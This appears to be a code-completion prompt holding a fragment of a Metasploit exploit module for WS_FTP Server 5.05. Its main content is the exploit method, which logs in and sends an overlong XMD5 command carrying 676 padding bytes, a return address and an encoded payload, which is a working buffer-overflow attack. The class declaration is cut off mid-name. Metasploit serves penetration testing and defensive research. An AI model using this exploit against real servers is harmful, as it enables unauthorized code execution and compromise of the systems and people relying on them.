    Metadata details:
    filename: wsftp_server_505_xmd5.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/ftp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::E
    
  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    sploit =  rand_text_alphanumeric(676, payload_badchars)
    sploit << [target.ret].pack('V') + payload.encoded

    send_cmd( ['XMD5', sploit] , false)

    handler
    disconnect
  end
